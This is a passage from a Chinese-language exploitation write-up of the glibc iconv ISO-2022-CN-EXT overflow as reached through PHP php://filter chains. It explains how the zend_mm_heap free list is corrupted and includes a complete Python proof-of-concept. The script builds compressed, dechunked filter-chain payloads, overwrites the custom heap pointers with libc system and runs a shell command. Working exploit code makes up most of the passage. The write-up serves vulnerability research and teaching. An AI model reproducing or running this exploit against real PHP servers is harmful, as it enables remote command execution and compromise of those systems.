HashTable *tracked_allocs;
#endif
};

所以,调整的利用思路为:

  1. (承接上面的最后一步)触发漏洞,这个时候,0x7ffff588a200 将会被用来存放 iconv 的结果,所以就能往后溢出一个字节去覆盖物理后面的下一个块 0x7ffff588a300 的第一个字节,在 poc 中是溢出为 0x48 ,于是原始的 0x7ffff588a300 的第一个值就从 0x7ffff588a100 变成了 0x7ffff588a148 了。于是 free 链为 0x7ffff588a300 -> 0x7ffff588a148

  2. 在上一步,我们可以将一个我们溢出后的地址 0x7ffff588a148 挂在链上,我们再申请两次即可以申请到该地址。而同时,这个地址是位于堆 0x7ffff588a100 中,而 0x7ffff588a100 这个堆是我们之前就申请过的,因此可以提前在 0x7ffff588a148 中任意布置我们想要的数据,于是可以将其指向 _zend_mm_heap ,这样就可以实现将 free 链变成: 0x7ffff588a300 -> 0x7ffff588a148 -> _zend_mm_heap

  3. 观测 _zend_mm_heap 的结构 free_slot 域在很前面的位置上,而在我们当前的 free 控制的堆长度为 0x100 。因此,其中所有的 free_slot 我们都可以在申请到 _zend_mm_heap 之后,对其中任意的 free_slot 进行修改。_zend_mm_heap 的地址是 0x7ffff5800040 我们直接将 0x7ffff588a148 -> 0x7ffff5800050 这样 0x7ffff580050 处被理解成下一个空闲堆块,于是 free 链变成: 0x7ffff588a300 -> 0x7ffff588a148 -> 0x7ffff580050->*(0x7ffff580050)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    pwndbg> php_heap
    $1 = {
    // 0x7ffff5800040
    use_custom_heap = 0,
    storage = 0x0,
    // 0x7ffff5800050
    size = 484232,
    peak = 484232,
    // 0x7ffff5800060
    free_slot = {0x7ffff5888008, 0x7ffff5801050,...
  4. 然后,我们再连续申请2次,即可把前面堆块拿出来,这时候 free 链的表头是 0x7ffff580050->*(0x7ffff580050)

  5. 根据上面的分析,我们要覆盖 _malloc ,_freerealloc 三个指针,于是需要写入的空间大小是 0x8*3=0x18 ,所以,我们覆盖 free_slot 中大小为 0x18free 列表的头为需要覆盖的 custom_heap 的地址,这样当我们发送三个地址过去时,正好就会分配这个大小的堆,实现对 custom_heap 的覆盖修改。而我们执行命令被放到什么堆中取决于我们命令的长度,因此应该差不多都行,这里按照 poc 中所写,取 0x140 的值,所以,我们需要修改 free_slot0x140 对应的 free 列表的头,如果命令的长度不够,可以通过末尾拼接 \x00 来凑数。首先,要把 size 位设置为 0x200000 暂时没懂啥意思。

  6. 写入 use_custom_heapcustom_heap 的值,再写入需要执行的命令字符串,这样当这堆块释放的时候,就会调用 system 执行指定命令。

于是,点击即可跑起来,这里我们演示的是执行一个 ls -alF 的效果。

利用成功

0x05 内存状态变化图

在整个过程中内存布局变化情况大致如下所示:

内存状态变化

0x06 exp

exp 来自 cfreal 点击可用。

poc.py 来自 Seebug 也能跑跑了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
#!/usr/bin/env python3
# -*- coding=utf-8 -*-

import zlib
import base64
from pwn import *

def p64(data: int) -> bytes:
return int.to_bytes(data, 8, "little")

# 该函数对数据进行zlib压缩,让php的zlib.inflate进行解压缩
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]

# 对数据纪念下quoted printable编码,php解码使用的是convert.quoted-printable-decode
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()

# 最终填充到0x8000长度的数据
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)

# 进行HTTP CHUNKED编码,php使用dechunk
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

def chunked_add_bad_data(data: bytes, badData: bytes, totalsize: int)->bytes:
'''
php处理dechunk的时候有一个问题,首先判断长度,只处理0-9, A-F, a-f这些字符。
如果判断非这些字符,就会判断为处理长度结束,接着会判断下一个字符是否是\r或者\n,如果不是则跳过。
这让我们可以在长度和\n之间注入其他字符,这些字符有以下要求,开始的值不能为十六进制,中间不能含有\n或者\r。
一个示例:
b'00000010........\x00A\x00\x00\x00\x00\x00\x00AAAAAA\n000008\nAAAAAAAA\n\n'
这样往堆的0x10地址注入了0x4100
不过这种方案限制比较大,如果php的_zend_mm_heap地址包含0x0a或者0x0d,就不能用了
'''
dataSize = len(data)
chunk = f"{dataSize:x}".rjust(8, "0")
chunk = chunk.encode() + b"." * 8 + badData
end = b"\n" + data + b"\n"
chunk += b"A" * (totalsize - len(chunk) - len(end))
chunk += end
assert len(chunk) == totalsize
return chunk

# 做了点修改,把chunk函数删除了,因为payload的构造不一样,所以使用chunk函数会有不同
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
return bucket

def buildPayload1() -> str:
payload = b""
pages = (
payload
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
"zlib.inflate",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def buildPayload2() -> str:
heapSize = 0x100

step1 = b"A" * heapSize
step1 = compressed_bucket(step1)

pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def buildPayload3() -> str:
heapSize = 0x100

step1 = b"A" * 0x10
step1 = chunked_chunk(step1, heapSize)
step1 = compressed_bucket(step1)

pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1",
# 释放0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def buildPayload4() -> str:
'''
我们把一次处理dechunk + convert.iconv.的过程算一步
'''
heapSize = 0x100
BUG = "劄".encode("utf-8")

# 第一步申请0x100的堆,第二步释放
step1_malloc_step2_free = b"A" * 0x10
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk,长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)


pages = (
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def buildPayload5() -> str:
'''
我们把一次处理dechunk + convert.iconv.的过程算一步
'''
heapSize = 0x100
BUG = "劄".encode("utf-8")
# _zend_mm_heap基地址
zend_heap_base = 0x7ffff5800040
# libc 的基地址
libc_base = 0x7ffff7aa9000
CMD = "ls -alF"

# 第一步申请0x100的堆,第二步释放
# 第三次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_add_bad_data(b"A" * 8, p64(zend_heap_base + 0x10) * 10, 0xA0)
# 第二次dechunk,长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk,长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)

# 第二步申请0x100的堆,第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk,长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk,长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk,长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)

# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"\x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk,长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk,长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk,长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)

# 第三次dechunk, 0\n
step3_trailer_chunk = b"0\n".ljust(0x48, b"\x00") + p64(zend_heap_base + 0x10)

step3_trailer_chunk += b"\x00" * (heapSize - len(step3_trailer_chunk))
# 第二次dechunk,长度等于0x100
step3_trailer_chunk = chunked_chunk(step3_trailer_chunk)
# 第一次dechunk,长度大于0x100
step3_trailer_chunk = compressed_bucket(step3_trailer_chunk)

step4_write_zend_heap = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
zend_heap_base + 0x168, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
zend_heap_base, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=0x100,
)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = chunked_chunk(step4_write_zend_heap)
step4_write_zend_heap = compressed_bucket(step4_write_zend_heap)

LIBC = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False) # /usr/lib/x86_64-linux-gnu/libc.so.6
mallocAddr = libc_base + LIBC.symbols["__libc_malloc"]
systemAddr = libc_base + LIBC.symbols["__libc_system"] # 0x7ffff7af9d60
reallocAddr = libc_base + LIBC.symbols["__libc_realloc"]
print("systemAddr: ", hex(systemAddr))

step4_write_custom_heap = ptr_bucket(
mallocAddr, systemAddr, reallocAddr, size=0x18
)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = chunked_chunk(step4_write_custom_heap)
step4_write_custom_heap = compressed_bucket(step4_write_custom_heap)

step4_use_custom_heap_and_cmd = b"kill -9 $PPID; " + CMD.encode()
step4_use_custom_heap_and_cmd = step4_use_custom_heap_and_cmd.ljust(0x140, b"\x00")
step4_use_custom_heap_and_cmd = qpe(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = chunked_chunk(step4_use_custom_heap_and_cmd)
step4_use_custom_heap_and_cmd = compressed_bucket(step4_use_custom_heap_and_cmd)

pages = (
step4_write_zend_heap * 4 +
step4_write_custom_heap +
step4_use_custom_heap_and_cmd +
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
# 第四步,写入数据然后执行命令
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path

def f(idx):
filename = "tmp"
if idx == 1:
path = buildPayload1()
filename = "poc1.php"
elif idx == 2:
path = buildPayload2()
filename = "poc2.php"
elif idx == 3:
path = buildPayload3()
filename = "poc3.php"
elif idx == 4:
path = buildPayload4()
filename = "poc4.php"
elif idx == 5:
path = buildPayload5()
filename = "poc5.php"
else:
raise Exception(f"invalid idx = {idx}!")

phpCode = f"""<?php
$poc = "{path}";
$data = file_get_contents($poc);
var_dump($data);
?>"""
with open(filename, "w") as f:
f.write(phpCode)
print(filename, " ====> ", path)

if __name__ == "__main__":
for i in range(1, 6):
f(i)

0x07 参考连接

最先搜到这个的博客的:https://blog.csdn.net/kjdfklha/article/details/139450835

对简单的利用过程描述还可以的:https://err0r233.github.io/posts/28510.html

大佬的exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

对自己构造环境有理解的:https://www.cnblogs.com/EddieMurphy-blogs/p/18296185

调试过程主要参考:https://cloud.tencent.com/developer/article/2429454

堆管理机制主要参考这个的翻译:https://blog.csdn.net/web22050702/article/details/139502051

原本英文版是这个:https://www.ambionics.io/blog/iconv-cve-2024-2961-p1